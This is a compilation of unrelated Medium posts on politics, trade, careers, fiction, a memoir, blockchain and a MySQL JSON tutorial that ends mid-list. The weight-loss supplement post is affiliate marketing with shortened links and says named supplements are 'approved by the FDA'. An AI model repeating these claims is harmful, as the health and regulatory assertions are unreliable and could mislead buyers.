Turning to smaller media, Politico is referenced in very similar numbers by both Republicans and Democrats. But beyond this point the remaining media referenced in official communications diverges starkly along partisan lines. Republicans send stories from The Washington Examiner, The Daily Caller, and the NY Post, while hardly any Democrats ever include content from these outlets. The conservative darling, Breitbart does enjoy one sided emphasis from Republicans in Congress, but interestingly the liberal leaning Vox is used even more often in Democratic communications.
These results, coming from the politician side of things both confirm and add to our understanding of how audience-media political echo chambers exist. The past 10 years confirm that FOX is far away as the leader in political news from a production consumption, and governmentally advocated stance. There are also clear partisan distinctions among efforts to reproduce media coverage, but some platforms — specifically radio — are far more popular with general audiences than they are as sources members of Congress look to guide constituents towards.
Is there anything to be done on the governing side once the new congress is sworn in? Probably not, franking guidelines for these communications only prohibit the outright solicitation of votes or money but legislators are free to bombard constituent inboxes with favorable media all they want. This is system that we’re all in and a set of feedback loop mechanisms that seem to become perpetually sharper and more divisive. | https://medium.com/3streams/the-news-congress-pushes-to-constituents-30a84e5de639 | ['Lindsey Cormack'] | 2020-12-31 15:41:25.270000+00:00 | ['Politics', 'Political Communication', 'News', 'Congress', 'Polarization'] |
CPTPP — What does it mean for SEA’s SMEs and eCommerce? (Part 1) | Written by: Benedict Leong
The CPTPP has been heralded as a breath of fresh air for proponents of free trade. Officially implemented and ratified in seven countries in the world, it runs counter to the seeming trend of protectionism seen this past few years. The Comprehensive and Progressive Agreement on Trans-Pacific Partnership (CPTPP) originally had a rocky start, however.
Originally called the Trans-Pacific Partnership, it seemed doomed to fail when President Trump pulled out of the agreement at the beginning of his tenure as US president. It was then revived by its remaining 11 members, led by Japan and New Zealand, as the CPTPP.
Worth noting in this agreement is that there are provisions aimed at encouraging SME (small and medium-sized enterprises) involvement in the free trade agreement as well as specific provisions pertaining to e-commerce. But what exactly is involved in this free trade agreement, and how exactly are small and medium enterprises (SMEs) and eCommerce merchants involved in all of this?
The CPTPP in a Nutshell
Sources: Ministry of Trade and Industry, Straits Times, ASEAN Post
The CPTPP is a large regional trade agreement between 11 countries from both sides of the Pacific, with seven of them having ratified the agreement and 4 more planning to ratify the agreement sometime in the future. The trade deal is informally referred to as the TPP — 11, covers around 14% of the global economy and a market of around 500 million people.
Free trade agreements aim to encourage investment and trade in goods and services between ratifying member countries by reducing barriers to trade. These include lowering or eliminating tariffs and other removing non-tariff barriers like quotas and complicated customs procedures.
The CPTPP is expected to reduce tariffs on an estimated 95 per cent of goods and services traded between the member countries, which includes plenty of commodities and even finished goods like apparel, footwear and electronics.
This free trade agreement also has provisions aimed at making customs procedures less complicated and even has provisions aimed at encouraging more cross-border e-commerce trade between member countries, good news for member countries’ SMEs.
The CPTPP has entered into force for Australia, Canada, Singapore, New Zealand, Mexico, Japan and Vietnam, which means there are already tariff reductions on goods traded between them. More reductions are planned in the future and can be found on the CPTPP’s tariff schedules.
The other four CPTPP countries, namely Malaysia, Brunei, Chile and Peru as of the time of this writing are keen on joining but haven’t ratified the agreement yet.
This regional free trade agreement could potentially become even bigger. CPTPP members have expressed interest in having other countries join the agreement. So far, countries interested in joining the free trade agreement include Colombia, Indonesia, South Korea, Thailand and the United Kingdom.
The CPTPP differs from the TPP in a couple of ways. Apart from the absence of the USA from the agreement, a number of provisions that were divisive among TPP members have been suspended. These include intellectual property provisions, labour and environmental rules and also provisions on investor-state dispute settlement.
Notably, these are suspensions and not removals, which means that there is room for the USA to re-enter the pact in the future. If you’d like to see the full break down of the differences between the CPTPP and the original TPP, you can find it on sites like New Zealand’s Foreign Affairs and Trade webpage.
How does the CPTPP help SMEs and E-commerce?
SMEs are known to be significant contributors of jobs and economic growth to most countries, with Southeast Asian CPTPP members Singapore and Vietnam being no exceptions. SMEs who make use of the CPTPP will stand to gain benefits in the following areas:
Reduced Tariffs, Reduced Costs
When it comes to Southeast Asian countries, the CPTPP helps to widen the number of countries and product types that a nation’s businesses, including SMEs, can trade with more easily. Singapore, for instance, now has two new trading partners it originally had no trade agreement with, namely Canada and Mexico. Vietnam, on the other hand, is happy to trade with Canada, but also really happy that tariffs on its primary exports: agriculture, aquatic, electric and electronic products will be reduced in key markets like Japan.
According to reports by the Straits times and Reuters, countries that have ratified the agreement have already cut tariffs by an estimated 90 per cent on goods traded between them. The rest of the tariff changes are being implemented over a longer period following the CPTPP tariff schedules mentioned earlier. These lower tariffs and duties make importing and exporting from CPTPP member countries much cheaper, and also widens the trade networks of member countries.
What this means is that SMEs and eCommerce merchants who sell B2C products have the ability to source potentially cheaper or higher quality finished products or materials from any of the 11 countries at much cheaper tariff rates. Some examples like footwear and apparel face lower tariffs when CPTPP comes into force for trade between CPTPP members.
Another effect of reduced tariffs is that cross-border online shoppers could be charged less customs duties for their purchases. Some people balk when they see high customs duties added on top of their purchase prices. With these tariff reductions in place, e-commerce merchants who are able to comply with the CPTPP would likely see improvements in international online sales.
For example, an online store in Singapore that sells products like shoes and apparel from countries like Vietnam and Australia to their domestic under the existing ASEAN Australia New Zealand Free Trade Area (AANZFTA) are now able to sell to newer markets like Mexico and Canada without paying hefty customs duties and import taxes.
You can also find the individual country tariff schedules on CPTPP’s legal text online like Singapore’s and Vietnam’s.
Regional Cumulation — Tapping into International Supply Chains
Regional cumulation or full cumulation rules encourage companies and SMEs in CPTPP countries to tap into the supply chains of other CPTPP members when sourcing material to create their products.
Here’s a breakdown of how that works:
Usually, in free trade agreements, a certain percentage of a product needs to be made using resources from the exporting country, known as ‘originating content’ before it can qualify for preferential tariff rates.
Regional cumulation means that materials from one CPTPP member country are treated the same as another CPTPP member. The result is that a product that is made mostly from resources sourced from other CPTPP member countries will qualify for preferential tariff rates when being imported into other member countries.
In simpler terms[BL1] , if an outfit created in Singapore is mostly made up of materials from New Zealand, Australia and Vietnam, it would qualify for CPTPP preferential rates when it goes through customs at CPTPP member countries like Japan or Canada.
This means SMEs and eCommerce merchants now have more sources for products and materials in their manufacturing process which they can sell both domestically and to other CPTPP member countries while still enjoying preferential tariff rates.
If you’d like to find out more about this, you can read the rules of origin chapter of the CPTPP and also its product-specific rules of origin
In short, the CPTPP opens more doors for SMEs and eCommerce merchants to buy and sell with other countries without needing to pay hefty tariffs. For companies in Singapore and Vietnam, it’s now easier to find sources for your inventory or your manufacturing supply chain from CPTPP countries while having greater access to countries like Japan and Canada to sell one’s products.
While the benefits of increased sourcing opportunities and reduced tariffs and duties sound similar to any free trade agreement, the CPTPP differs in that it also has provisions targeted to increase its use by SMEs and also provisions aimed to further boost the efficiency of cross-border eCommerce. All these and more will be covered in part 2 of this series. Stay tuned! | https://medium.com/janio-asia/cptpp-what-does-it-mean-for-seas-smes-and-ecommerce-part-1-5f14b71cd2f2 | ['Janio Content Team'] | 2019-06-06 03:42:52.127000+00:00 | ['Trade', 'Macro'] |
Quit Your Job Without Quitting Your Job — Tech Contractors are Here to Disrupt | Quit Your Job Without Quitting Your Job — Tech Contractors are Here to Disrupt
Working full-time as a permanent employee doesn’t really need an introduction — we’re all very familiar with the widely spread 9 to 5 (or 6, or 7,…).
What may need an introduction and possibly a dedicated TED talk (ah! Jk) is working as a modern pirate or mercenary (minus the violence): I’m referring to the (oxymoron alert) one and onlies, tech contractors.
Tech contractors are usually specialists that went on becoming their own bosses, unshackled from having to work for someone else. Well, what is “unshackling” for some may be a full-on panic ride for others, so please bear with me while I type a praising blogpost about working as a contractor.
They’re frequently hired by companies on a fixed-term to help out with a specific project in which the in-house team may be in pickle with. This fixed-term can vary, going from a few weeks to a few months, to even a whole year. In fact, contractors can work for several clients at a time and have multiple simultaneously fixed-term contracts.
As time goes by, the way we work and perceive employment changes. Just twenty years ago working as a contractor wasn’t really a thing (at least not as common as it is today). The universal dream (perhaps more so in the west) was to have stability and security, which usually translated into working for the same company until retirement knocked on the door, and knowing exactly when and where the next paycheck was coming from. A lot of people still feel this way, and that’s totally fine.
But times do change, and especially with the rise of the internet and all things digital, the employment door was kicked open and showed us a bunch of other doors (and some windows) to choose from.
Traditional is no longer the *only* way to go, it’s just one of them. So, without further ado…
Can anyone be a contractor?
In theory, anyone that puts in the effort and has motivation can be a contractor. It surely suits some personality types better than others, so it’s a matter of assessing what you’re most comfortable with.
As a contractor, you’ll need to be able to coexist in harmony with risk. Even with referrals working in your favor, it’ll still be a more uncertain path than permanent employment. But don’t put your arms down just yet — this career path is completely doable and filled with thriving people!
You’ll also need to be comfortable with selling yourself, and doing it well — otherwise, it can get really hard to get clients, especially in the beginning where there’s still no word of mouth running around. Even if your work speaks for itself, which is ultimately the goal, it’s still paramount to have great communication skills (not only to sell yourself but also to connect with the team you’re about to join, to get on the same vibe as your client,…).
But, just as you’re selling yourself, remember that you’re also interviewing your potential clients. Do you want to work with this company, with this team? Are there any red flags?
Interviewing goes both ways and, when done right, can save a lot of hassle for both parties.
What’s the downside?
Naturally, working as a tech contractor has its cons — so let’s get this out of the way.
Being your own boss means that you have to be the one making sure that you have a safety net that guarantees vacations and sick leaves.
On top of that, it’s a good idea to build an extra financial cushion, just in case you’ll take a bit longer to find a new client (or if you want to take 3 months off). You’ll have to take all these things into consideration when negotiating your rates.
Last but not least, you’ll need to be a lot more in touch with taxes than permanent employees (and your rates should also take this into consideration, as well as all living expenses). The good news is that you can always hire someone to do this for you, if you can afford it.
Got it, now gimme the juice
Working as a contractor will give you a type of freedom that most permanent jobs won’t. You’ll be able to choose (if you’re not constrained by financial stresses) the projects you’ll be working on, aiming for the ones that speak closer to your heart and soul.
You’ll also be able to bring this freedom into your personal life — by being your own boss, you’ll have more control over your time and an all-around ownership over your life. If you ever wanted to pack your things and go three months to Thailand, being a contractor will certainly facilitate that way more than working as a full-time employer. Can you imagine telling your boss you’ll see her/they/him again in three months? *insert crying emoji*
You’ll be better paid than your full-time counterparts. Just to give you an example, in Portugal the average gross annual salary for tech professionals working as a permanent employee is 32.5k€, and 48k€ for contractors — and, if you choose to work for international clients/companies (which is another opportunity that comes with more ease as a contractor), this value goes up significantly. We deep dive into salary-related information here, feel free to hop in (please do!).
You won’t take part in office politics. If you ever worked in an office, I’m sure you understand this is a big one. This doesn’t mean you’re 100% immune to it, but you surely won’t have to spend a lot of time dealing with weird leadership and big egos (which, if I may add, can do wonders for one’s mental health). As a contractor you’re hired to do the job and that’s it, no muss no fuss!
If being a tech contractor spiked your curiosity and sounded like something that would fit you, wait no more — check our job openings and see if something tickles you the right way.
Also, take a look at the event we hosted last week regarding this topic of being your own boss! There are different testimonials from contractors, talking about the pros and cons, and you can watch the whole recording here. 👇 | https://blog.landing.jobs/quit-your-job-without-quitting-your-job-tech-contractors-are-here-to-disrupt-12ea8620d402 | ['Landing.Jobs Team'] | 2021-09-06 13:18:02.769000+00:00 | ['Tech', 'Contractors', 'Tech Jobs', 'Freelancers', 'Careers'] |
Sun over Santorini chapter alert! | Sun over Santorini chapter alert!
We’re taking a break from tension and enjoying the beach. Juliette’s an awesome swimmer, and the water is remarkable, “like swimming in Perrier.” Ian and Dima have fun while Mark and Juliette get serious about love, beauty, and loss.
Author’s Notes:
I had a super hard time finding a photo to illustrate this chapter. I wanted a picture of Juliette, but a couple hours of searching got me nowhere. When I saw this one, my jaw dropped. The woman in the photo could almost be “Juliette,” so close is her resemblance.
The woman I based Juliette on really did say that the water off Mykonos was like Perrier. We really did hang out on half submerged rocks ringing the bay. She even convinced me to sunbathe nude on those rocks. I was never brave enough to do that on the beach proper, even though most everybody else did.
Juliette’s musings about Martha’s Vineyard come from the real woman I modeled her on. Daughter of wealthy Kenyan immigrants, she resented her parents for thrusting her into social situations where she felt constantly rejected because of her race. She also resented them for not seeing it.
Alex Peach kurt gasbarra Esther Spurrill-Jones Kathy Lee Tolleth David Wade Chambers Jerald Cole neil chapman Fred Shirley Phil Stevens Cameron Wheeler Adam, Diabetic Cyborg Patricia Copenhaver Kathy Lee Tolleth [email protected] Artemis Shishir Britt Rossman BFoundAPen Brindusa-Katalin Poenaru Alan Lee Ali Wyles Chris Cohlmeyer Audrey Chung Better Joe Donald Robb Jane Vogel Jason X Little Fears Holly Lyn Walrath Adam Millett Elle Beau | https://medium.com/@jfinn6511/sun-over-santorini-chapter-alert-11601543f596 | ['James Finn'] | 2019-03-08 14:47:00.816000+00:00 | ['Gay', 'Greece', 'Love', 'LGBTQ', 'Fiction'] |
Another Beginning | So, here we are again, and we have to begin again. Everyday is new like the sun never came up before if you play your cards correctly.
When I was a kid I wanted to be an airplane. I was a weird kid. Other kids did sports. I thought sports were stupid. I ran around the playground with my arms outstretched like I was an F-4U or a Zero. I wanted to shoot other kids down but there were only a few other planes in the class, and honestly, those guys were even weirder than me. I eventually got old enough such that I cared what other kids thought, and I stopped “flying.”
One day in the early winter, in, I think, second grade, I was on some sort of mission, and I looked over at the jungle gym, and I had a vision. And I mean it — an actual vision. I’ve never had one since.
The jungle gym in this particular section of West Side School’s playground was a curved arch with rungs. Picture a ladder bent in a half-circle with the base and top buried in the ground. It sort of looked like the prosceneum arch of a theatre.
In my vision, under that arch was a rock band, and I was in it over to stage right (house left), and vision me was wearing the same quilted greenish nylon winter coat that airplane me was wearing. And vision me was still a second grader, but vision me was playing an electric guitar.
There was no electric guitar in my house growing up. There wasn’t even rock music. My parents listened to shit. Musak. Montovani and His Orchestra. 1000 and 1 Strings. The coolest record they had was Vaughn Meader’s The First Family, which is actually a really cool record but it was a comedy album about the Kennedys and it sure didn’t rock.
Vision me wasn’t playing an ambiguous, generic electric guitar. I remember it really specifically. It had a light colored neck, the headstock was long and all the tuning pegs were on one side of it. It had two cutaways and a three-toned sunburst finish — black to orange to yellow. White pickguard. Three pickups. It was very clearly one of these:
The back cover of Layla.
Layla came out in 1970, and I might have seen the album cover somewhere. Or maybe I saw someone on TV playing the same guitar. A sunburst Fender Stratocaster is pretty common in rock ‘n’ roll. Whatever. That is what I saw in my vision. At the time I had no idea what I was looking at, really, but the sight of it was clear as traffic lights.
I didn’t start playing guitar in second grade. I didn’t jump into music. I wasn’t haunted by my vision like some North Shore of Long Island Joan of Arc. I didn’t trade in my airplane. I was teased out of my airplane. I just went cluelessly through school like any other kid of average IQ and high laziness.
I finally started on guitar late in 7th grade, after playing and giving up on the piano, the trumpet and the french horn. I was playing a diffident trombone, some guy owed my dad money, and to repay the debt he gave my dad a Guild Starfire Mk III. So I started playing guitar.
Guild Starfire Mk 3. The finish is killer, but it sounds like ass.
I didn’t really like the Guild. The bridge would slide around, one of the pickups was dead, and it sounded all nasal and like shit. I guess it was beautiful if you kinda wanted to look like Ted Nugent. Repulsive thought. Ted used a different guitar, a Gibson, but it looked a lot like the Guild.
I didn’t like my Guild. But I loved to play it.
So, that was basically all I did. School, guitars, and records, and not necessarily in that order.
Eventually I got a Stratocaster knock-off, because I couldn’t afford a real Fender. Mine was a Hohner, and it had a sunburst and a whammy bar — it was the vision guitar. It sorta sounded like shit, too, but I loved it. Wish I still had it. I rewired it and swapped out pickups and eventually it went to lost guitar heaven, I guess sometime between when I moved back from college and when my parents sold their house.
I still don’t have a Fender Strat. I have a sunburst maple neck Tokai Stratocaster from 1985 that is an absolute monster. It plays better than any Fender I’ve ever picked up. And it sounds great.
My Strat with a few of its 14 friends.
I guess that vision on the playground led me to that guitar, to guitars in general, to the Beatles’ Revolver album, which was the first record I ever bought and which BLEW MY MIND. I have to say this: there is almost nothing cooler than choosing goddamn Revolver off the shelf in a record store not knowing anything about the record other than Eleanor Rigby and Yellow Submarine were on it. It’s like the hand of God was involved.
The best record ever recorded.
Revolver… that led me to wanting to make music, specifically records. It made me want to record. And eventually I did that, recorded and produced rock albums (and some jazz and other stuff) all through my twenties and into my thirties until I was stopped dead cold by tinnitus, which wreaked my life.
It wreaked a life. A possible life. A life like in the movie Source Code, in which descisions made split the hero’s path into different possibilities curving off into time-space.
I suppose there’s a life somewhere in which I didn’t get tinnitus, in which I still make records. And another one where I play the french horn. And in yet another one… I’m still an airplane! | https://lukedelalio.medium.com/another-beginning-804280b4a925 | ['Luke Delalio'] | 2019-08-22 04:06:43.840000+00:00 | ['Memoir', 'Art', 'Guitar', 'Creativity', 'Music'] |
The advice to Republicans remains: Nominate more women | By Kent R. Kroeger (January 12, 2019)
U.S. Representative Elise Stefanik (R-N.Y.) (Photo Credit: Glamour Magazine)
A year ago I wrote an article on the dearth of female Republicans in national elected office, particularly the U.S. House. [The original article is here.]
The article’s gist was that if Republicans don’t nominate more women against incumbent Democrats, the party’s decline (starting in the 2018 midterms) will be precipitous.
The GOP lost 40 U.S. House seats in 2018 (one seat in North Carolina is still to be determined).
In the 115th Congress, there were 21 Republican women. In the new 116th Congress there are only 13. In comparison, the number of Democratic women in the House went from 64 to 89.
If trends continue, half of all U.S. House members will be women by 2032 and not one will be a Republican.
Of course, that will never happen, right? The Republicans will adjust, right?
Do Republicans realize it is an empirical fact that women are widely viewed as more honest, empathetic and trustworthy (see Figure 1)? Do Republicans understand that, if those attributes become central to vote decisions in the future, their party is screwed?
Figure 1: Public opinion on gender differences in political leadership
Why is the number of GOP women in the U.S. House dropping?
Perry Bacon Jr. from FiveThirtyEight.com highlighted last year some of the barriers preventing more Republican women from winning elections and staying in office, not the least of which is that Republican women tend to be more moderate (or are perceived to be more moderate) than their Republican male counterparts. And as Republican voters have drifted right ideologically, women Republicans have found it more difficult to survive the nomination process. Likewise, a significant percentage of incumbent Republican women (usually moderates) have voluntarily left office knowing their re-election chances were increasingly doubtful.
Other possible reasons for the GOP’s lack of elected women include:
(1) The Democrats being viewed as the party of women’s rights,
(2) There are more Democratic women with the backgrounds typically associated with political careers, and
(3) The money is more likely to flow to Democratic women running for office than it is to Republican women.
While all of the barriers are potentially true, they do not dictate that Republican women will vanish from the political landscape.
Successful parties adjust to changing electorates. The Democrats moved to the right under Bill Clinton and the Republicans will inevitably adjust in the current political environment.
And even if the Republicans don’t move towards the center, its not like there aren’t strong conservative women out there capable of running for Congress. This is not a supply problem. The GOP has an old, white men leadership problem.
What holds the Republican Party back from nominating more women is a Republican hierarchy that fails to appreciate the competitive necessity of introducing more diversity into the party’s primary races.
To be sure, simply nominating women is not, in and of itself, a solution to the GOP’s gender (and diversity) problem. For the sake of argument, let us assume in the 2018 midterms the GOP had nominated a woman in races where there was a male nominee,And assume also that this would have added one percent to the GOP’s vote total in those races. Across the 435 U.S. House races in the 2018 midterms, that would have changed the outcome in the GOP’s favor in only six House races (CA21, FL26, ME2, NJ3, OK5, VA7).
New York Representative Elise Stefanik calls the GOP gender problem a “crisis”
Former head of candidate recruitment for the National Republican Congressional Committee (NRCC), New York Rep. Elise Stefanik, resigned from that position after the 2018 midterms out of frustration that the Republican Party, by policy, does not get involved in the primary process (unlike the Democrats).
Stefanik will instead work through her leadership PAC to recruit, train and cultivate women GOP candidates during the primary races.
“If that’s what Elise wants to do, then that’s her call, her right,” NRCC chairman Tom Emmer (R-MN) told Roll Call last November. “But I think that’s a mistake. It shouldn’t be just based on looking for a specific set of ingredients — gender, race, religion — and then we’re going to play in the primary.”
But Republican leaders like Emmer, thinking Stefanik’s efforts represent a capitulation to identity politics, are actually ensuring identity politics’ role in electoral politics.
For Republicans, the first line of defense in combating the divisiveness of identity politics is to have leaders drawn from all backgrounds. Now is not the time to become more white and more male.
To do that, Republican leaders and voters alike need to understand that photos like this one from a 2017 Republican press conference in the Rose Garden don’t just create bad optics, they represent a losing brand of politics.
Grumpy Old White Men Celebrating the Repeal of Obamacare in the Rose Garden (Photo credit: CNN)
Just as Chuck Schumer and Nancy Pelosi cannot be the face of the Democratic Party much longer, Mitch McConnell and Lindsay Graham cannot be the brand leaders for the Republicans anymore.
Nikki Haley. Mia Love. Joni Ernst. Elise Stefanik. Kristi Noem. Kirstjen Nielsen. Kim Reynolds. The talent pool is out there for the Republicans. Seek their counsel. Learn from them. Put them in leadership positions so they are part of the GOP’s public face.
And it’s not about gender or youth. Bernie Sanders is not young yet still relevant. It is about fitting in and being able to lead within the current zeitgeist.
And this environment trends female and puts a premium on empathy, trust and honesty. And that does not necessitate the systematic exclusion of men, who are fully capable of such qualities. But it does mean the Republican Party must address its gender crisis.
Wake up GOP. Listen to Elise Stefanik. | https://kentkroeger.medium.com/the-advice-to-republicans-remains-nominate-more-women-b6d8183fe872 | ['Kent Kroeger'] | 2019-01-14 20:26:03.873000+00:00 | ['Women Equality', 'Identity Politics', 'Republican Party', 'Politics', 'GOP'] |
Do weight loss/Diet supplements really work? | “Do weight loss supplements really work,” this is a very popular question and I think people need to know the truth. (Weight supplements work by either decreasing your appetite or reducing your body’s ability to make fat, it does not actually destroy fat.)But back to answering the question, the answer is YES, some work even better than others, But it does not work in the way most people want it to. A lot of people expect the supplements to do all the weight loss work for them but you will never lose weight if you do this. Think about it like this, “If you take the supplements everyday but refuse to change your diet and exercise, every time the supplements reduce the fat you’ll just get it back the next time you eat a bad meal and skip exercising ,” see what I mean.
Good diet + exercise and if you want, weight supplements= quickest way to lose weight.
Also if you have bad metabolism weight loss supplements could be of great help with reducing fat in the your body.
Conclusion:
So yes diet supplements work and are a good way to reduce extra fat but for True success a change in diet and exercise is very necessary.
I know and understand that many people are nervous to change their diet and to exercise but Trust me it will be worth it. We all love that feeling of working and making progress and when we get our results we feel amazing to have accomplished this.
Tip: Buying weight loss supplements that are not approved by the FDA is not wise.
And If you would like my recommendations I would recommend using these, they are well known and tested before they were released:
Melticore
https://tinyurl.com/ykwpv923
Melticore is man-made but the Ingredients used are approved by the FDA.
2. Hormonal Harmony
https://tinyurl.com/kr4amt6v
This supplement is popular with women and is also a man-made supplement that is approved by the FDA.
3. African lean Belly
https://tinyurl.com/kfh6eh82
This one uses natural ingredients to reduce fat production.
>>Disclaimer this article contains links to an affiliate program that may give a commission to the content creator.<< | https://medium.com/@davidsultimates2/do-weight-loss-diet-supplements-really-work-d5102e53c544 | ['David Smith'] | 2021-07-06 04:04:30.856000+00:00 | ['Weight Loss Tips', 'Weight Loss', 'Weight Loss Supplements', 'Truth', 'Healthy Lifestyle'] |
What is Blockchain and Smart Contracts? Brief introduction | All this hype has been rising exponentially, however, most of the people know nothing about how blockchain technology works, what is a smart contract and how it could be used. For this very reason, I decided to give a gentle introduction to blockchain technology.
Blockchain. What is it and how does it work?
Blockchain is a decentralized distributed ledger.
Speaking in a human language — it is a network of computers having an identical copy of the database and changing its state (records) by a common agreement based on pure mathematics.
It means, that there is no need for any central server or agent to trust to. The blockchain is the technological base for all those names like Bitcoin, Ethereum, Hyperledger.
Bitcoin vs Ethereum
Let’s compare two most popular blockchain networks. Bitcoin has been dominant in the cryptocurrency field for a long time and is not planning to stop.
It was launched with the intention to bypass government regulations and create online payments without the need of intermediary to confirm transactions. Ethereum is another cryptocurrency project, however with much greater possibilities.
Ethereum introduced so-called smart contracts and a way to perform actions by the rules defined in the contract. Simply speaking Bitcoin is a platform for decentralised currency while Ethereum is a platform for decentralised currency and most important — engine for applications which can be run without a need of trusted third party (some central server).
I personally like the analogy of the Ethereum as a global computer to which anyone has access to.
Smart contract
Smart contract — is a piece of code which is stored in the blockchain network (on each participant database). It defines the conditions to which all parties using contract agrees. So if required conditions are met certain actions are executed.
As the smart contract is stored on every computer in the network, they all must execute it and get to the same result. This way users can be sure, that outcome is correct.
Sounds complicated? It’s not.
Let’s simplify everything using an example. As I am familiar with the logistics, I will take a use case from this industry. Let’s say you want to ship a pallet of goods to your friend Bob.
You trust Bob, but you don’t trust trucker Tom, who will carry your pallet. On the other hand, Tom does not trust you as well, maybe you won’t pay him?
Therefore, you have to sign an agreement with Tom that you will pay for the shipment in a few days after delivery. Usually third party is involved in this process, legal papers, contracts are scanned, printed, signed.
Can we simplify the process? Yes! We can do that with the help of smart contracts. We could define those rules in code.
You make a payment for shipment to smart contract on a day of loading. It holds payment till shipment delivery is confirmed by Bob. Then smart contract releases the payment and money is transferred to Tom automatically.
Let’s move a little bit forward. What if we would have a GPS tracker attached to the pallet? Then we simply could eliminate Bob from this process and just release the payment automatically, when the location rule is met.
Conclusion
It was just a short intro to the broad Blockchain and Smart Contracts topic. This technology opens a lot of possibilities for new decentralized businesses and removes the need of expensive third party.
Many new startups are working on this technology, and big enterprises are testing it in closed networks to collaborate with each other directly without the need to intermediary.
Most secure crypto currency hardware wallet is Ledger Nano. It provides hardware security for every user only for €59. Find out more here.
If you want to learn how smart contracts are executed check: This is How Smart Contracts and Ethereum Work. Brief Introduction | https://medium.com/startup-grind/gentle-intro-to-blockchain-and-smart-contracts-part-1-3328afca62ab | ['Lukas K'] | 2019-01-11 18:22:08.408000+00:00 | ['Ethereum', 'Cryptocurrency', 'Bitcoin', 'Blockchain', 'Smart Contracts'] |
How to unnest / extract nested JSON data in MySQL 8.0 | In this article, we will demonstrate how to use the JSON_EXTRACT() and JSON_TABLE() functions in MySQL8.0 to convert JSON table into tabular data for analysis and reports, and also how to utilise it in Holistics for drag-and-drop reports.
The examples below use the ga_sessions sample dataset provided by Google. All queries are written in Holistics using MySQL 8.0.
How JSON data is stored in MySQL 8.0
JSON data in MySQL is treated as its own data type, a JSON string, and can appear in 2 main forms:
Key-value object: a single record which consists of multiple named or indexed fields (or keys) paired with values
a single record which consists of multiple named or indexed fields (or keys) paired with values Nested Array/Table: a table built with multiple key-value objects in a hierarchical format
What JSON objects look like
Let’s look at the Totals column in the ga_session dataset.
{
"hits": 2,
"visits": 1,
"bounces": null,
"newVisits": 1,
"pageviews": 2,
"timeOnSite": 189,
"screenviews": null,
"timeOnScreen": null,
"transactions": null,
"sessionQualityDim": 1,
"uniqueScreenviews": null,
"transactionRevenue": null,
"totalTransactionRevenue": null
}
As is shown, a single record is stored as an array of keys paired with corresponding values., , , , ,
It can have other such objects stored within it, like in traffic_source.adwordsClickInfo :
{
"medium": "(none)",
"source": "(direct)",
"keyword": null,
"campaign": "(not set)",
"adContent": null,
"campaignCode": null,
"isTrueDirect": null,
"referralPath": null,
"adwordsClickInfo": {
"page": 1,
"slot": "Top",
"gclId": "CjwKCAjwzYDMBRA1EiwAwCv6JgtTqBxSwgf2SWlnlbhLqjlcFnBEGCYZYXniDhqV3YB5D-X1H-LVNxoC6_wQAvD_BwE",
"adGroupId": null,
"isVideoAd": false,
"campaignId": null,
"creativeId": null,
"criteriaId": null,
"customerId": null,
"adNetworkType": "Google Search",
"targetingCriteria": null,
"criteriaParameters": "not available in demo dataset"
}
}
Extracting from JSON objects using JSON_EXTRACT() / ->>
Let’s get them ready for our model using Totals and traffic_source . For simple JSON strings like these, we just need to use the JSON_EXTRACT() function.
Sample code
select
data.visit_id as visit_id,
json_extract(data.totals, '$.hits') as hits,
data.totals ->> '$.pageviews' as pageviews,
json_extract(data.traffic_source, '$.adwordsClickInfo.adNetworkType') as adNetworkType,
data.traffic_source ->>'$.adwordsClickInfo.gclId' as gclId
from
demo_nested_data as data
Output
Syntax
Here is how we used JSON_EXTRACT() / ->> .
Note: ->> is shorthand for JSON_EXTRACT()
The syntax is as follows:
JSON_EXTRACT(table.column, '$.childcolumn') as alias,
table.column ->> '$.childcolumn' as alias
So to extract hits from totals , we used:
json_extract(data.totals, '$.hits') as hits
And to extract pageviews from totals , we used:
data.totals ->> '$.pageviews' as pageviews
And to extract a child-object, simply append .nestedchildcolumn to the end of childcolumn like we did when extracting adNetworkType and gclId from deep within traffic_source like so:
json_extract(data.traffic_source, '$.adwordsClickInfo.adNetworkType') as adNetworkType,
data.traffic_source ->>'$.adwordsClickInfo.gclId' as gclId
One major thing to note is that the extracted data will have the JSON data type and you may have to nest it inside a CAST() function or create a custom dimension within Holistics to change it into the data type of your choice.
There are other arguments which you may need which are not used in our guide. Please refer to the official documentation for a full list of the arguments., , ,
JSON_EXTRACT() in Holistics
In Holistics, you can easily create a transform model and use the same SQL code as above to create the model with values already extracted into fields, ready for reporting usage. , , , , , , , , ,
But, if you are working on a model that does not have the values extracted, you can create a custom dimension to extract it and then use it in drag and drop report building.
All you have to do is use the same syntax you would for your SELECT argument for the desired field. You can also nest it within a CAST() function to change it to the appropriate data type. , , , , , , ,
What JSON Tables look like
As we previously saw with traffic_source.adwordsClickInfo , the JSON data type can store data within data. So if your nested child column is also a nested column, it can become much more complex, storing entire tables within a single cell. Take a look at the structure of an element in hits column. Each element is an array of key-value objects with 33 elements, of which 13 are nested objects, and of those 13, 1 has yet another level of nested objects. , , , , ,
While potentially powerful, if you store your data in this way, it can cause many issues down the line. Your queries become more complicated and can become nigh on impossible to optimize in some cases.
If you attempt to use nested JSON_EXTRACT() functions, your query might implode. Luckily, MySQL 8.0 has the JSON_TABLE() function which is capable of unnesting (or flattening) nested arrays. , , , , ,
Extracting from Nested JSON Arrays using JSON_TABLE()
Sample Code
select
n.visit_id,
h.*
from
demo_nested_data n,
JSON_TABLE(
n.hits,
'$[*]' COLUMNS(
time INT PATH '$.time',
isInteraction bool PATH '$.isInteraction',
NESTED PATH '$.page' COLUMNS(
pageTitle VARCHAR(100) PATH '$.pageTitle',
pagePath VARCHAR(40) PATH '$.pagePath'
)
)
) as h
Output
Syntax
The first thing you should note is that unlike the JSON_EXTRACT() function which is a SELECT argument, JSON_TABLE() is a FROM argument. It transforms the column into a table with columns you can then call on in your SELECT argument.
Second, you have to call your source table in addition to the JSON_TABLE() function in your FROM argument. This also creates an implicit JOIN between the 2 tables, which is why you can call on fields located in your source table in the same query without having to write the JOIN condition yourself. (e.g. called [visit.id] from the source table and is correctly associated for each row)
Let’s look at the usage in these few lines:
JSON_TABLE(
n.hits,
'$[*]' COLUMNS(
time INT PATH '$.time',
NESTED PATH '$.page' COLUMNS(pageTitle VARCHAR(100) PATH '$.pageTitle')
)
JSON_TABLE( sourcejsoncolumn , index/element COLUMNS( NESTED PATH COLUMNS() alias datatype PATH '$. childcolumn ')
Arguments as in the example:
n.hits → The data source, call the JSON column which you want to extract values from
